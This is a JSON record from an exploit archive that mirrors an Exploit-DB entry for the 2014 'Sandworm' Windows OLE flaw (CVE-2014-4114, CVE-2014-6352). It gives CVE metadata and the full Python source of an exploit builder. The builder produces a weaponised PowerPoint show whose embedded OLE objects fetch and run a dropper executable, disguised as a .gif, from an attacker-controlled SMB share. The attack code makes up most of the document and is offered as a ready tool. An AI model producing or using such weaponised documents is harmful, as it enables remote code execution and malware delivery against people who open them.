{"exploit":{"id":"EDB-35019","name":"Microsoft Windows - OLE Package Manager SandWorm","description":"Microsoft Windows - OLE Package Manager SandWorm","cves":["CVE-2014-6352","CVE-2014-4114"],"author":"Vlad Ovtchinikov","published":"2014-10-20","platform":"windows","type":"local","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/35019","path":"exploits/windows/local/35019.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-35019.py","vulnerabilities":[{"id":"CVE-2014-6352","state":"PUBLISHED","title":null,"titleSource":null,"description":"Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 allow remote attackers to execute arbitrary code via a crafted OLE object, as exploited in the wild in October 2014 with a crafted PowerPoint document.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-6352","cvss":{"version":"3.1","baseScore":7.8,"severity":"high","vectorString":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2014-6352"},"updatedAt":"2025-10-22T00:05:34.995Z","retrievedAt":"2026-11-26T16:33:47.252Z","stale":false,"error":null},{"id":"CVE-2014-4114","state":"PUBLISHED","title":null,"titleSource":null,"description":"Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 allow remote attackers to execute arbitrary code via a crafted OLE object in an Office document, as exploited in the wild with a \"Sandworm\" attack in June through October 2014, aka \"Windows OLE Remote Code Execution Vulnerability.\"","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-4114","cvss":{"version":"3.1","baseScore":7.8,"severity":"high","vectorString":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2014-4114"},"updatedAt":"2025-10-22T00:05:35.412Z","retrievedAt":"2026-11-26T16:33:47.249Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-35019.png?v=2","url":"https://exploitbin.com/exploits/EDB-35019","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-35019/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-35019/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env python\nimport os\nimport zipfile\nimport sys\n\n'''\nFull Exploit: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35019.tar.gz\n\nVery quick and ugly [SandWorm CVE-2014-4114] exploit builder\nExploit Title: CVE-2014-4114 SandWorm builder\nBuilt to run on: Linux/MacOSX\nDate: 17/10/2014\nExploit Author: Vlad Ovtchinikov (@v1ad_o)\nVendor Homepage: microsoft.com\nTested on: Win7Sp1 64 bit  - Microsoft Offcie 2013 Plus\nDemo: http://youtu.be/ljjEkhflpvM\nCVE : CVE-2014-4114\nNOTE:\nexpl.inf (md5 8313034e9ab391df83f6a4f242ec5f8d) + expl.zip (md5 4a39121a60cc79d211fc7f7cfe00b707)\nshould be located in the same  dir as the builder.\n01:39 cve-2014-4114.py\n19:35 expl.inf\n15:37 expl.zip\n\ne.g.  python cve-2014-4114.py 10.0.0.233 rdb xxx.exe\n10.0.0.233 - ip\nrdb - share\nxxx.exe - dropper\n'''\nhost=sys.argv[1]\nshare=sys.argv[2]\nmal_file=sys.argv[3]\n\nprint \"\\nPoC exploit builder v0.1 for logical OLE flaw in packager.dll [CVE-2014-4114] by vlad@sensepost.com @v1ad_o\\n\"\nprint \"Building ... \\n \"\n\n# extract the original .ppsx PoC\nmal_file= mal_file.replace(' ', '')[:-4].lower()\nfh = open('expl.zip', 'rb')\nz = zipfile.ZipFile(fh)\nfor name in z.namelist():\n    outpath = \"./tmp\"\n    z.extract(name, outpath)\nfh.close()\n\nos.mkdir('out')\nos.chdir('tmp')\n\n# oleObject1.bin mod for GIF\ninfile = open('ppt/embeddings/oleObject1.bin')\noutfile = open('ppt/embeddings/1.bin','w')\nreplacements = {'10.0.0.34':host,'public':share,'slide1.gif':mal_file+'.gif'}\nfor line in infile:\n    for src, target in replacements.iteritems():\n        line = line.replace(src, target)\n    outfile.write(line)\ninfile.close()\noutfile.close()\nos.remove ('ppt/embeddings/oleObject1.bin')\nos.rename ('ppt/embeddings/1.bin','ppt/embeddings/oleObject1.bin')\n\n# oleObject2.bin mod for INF\ninfile = open('ppt/embeddings/oleObject2.bin')\noutfile = open('ppt/embeddings/2.bin','w')\nreplacements = {'10.0.0.34':host,'public':share,'slide1.inf':mal_file+'.inf'}\nfor line in infile:\n    for src, target in replacements.iteritems():\n        line = line.replace(src, target)\n    outfile.write(line)\ninfile.close()\noutfile.close()\n\nos.remove ('ppt/embeddings/oleObject2.bin')\nos.rename ('ppt/embeddings/2.bin','ppt/embeddings/oleObject2.bin')\nos.system(\"zip -q  -9 -r  ../out/exploit.ppsx * \")\nos.chdir('..')\n\n# oleObject2.bin mod for INF prep\ninfile = open('expl.inf')\noutfile = open('out/'+mal_file+'.inf','w')\nreplacements = {'slide1':mal_file}\nfor line in infile:\n    for src, target in replacements.iteritems():\n        line = line.replace(src, target)\n    outfile.write(line)\ninfile.close()\noutfile.close()\nos.system(\"rm -rf tmp\")\n\nprint 'Copy the .inf .gif (renamed file.exe=>file.gif) to:\\n'\nprint '*\\\\\\\\'+host +'\\\\'+ share +'\\\\'+ mal_file+'.gif\\n'\nprint '*\\\\\\\\'+host +'\\\\'+ share +'\\\\'+ mal_file+'.inf\\n'\nprint 'Done - collect your files from the [out] folder.\\n'","sha256":"53f5e399b8278e508e952070667dd2da9617c94ecc65dac5b6cbafa1531b1764","bytes":2858,"fetchedAt":"2026-11-27T04:09:51.279Z","encoding":"utf-8 (display only; download retains original bytes)"}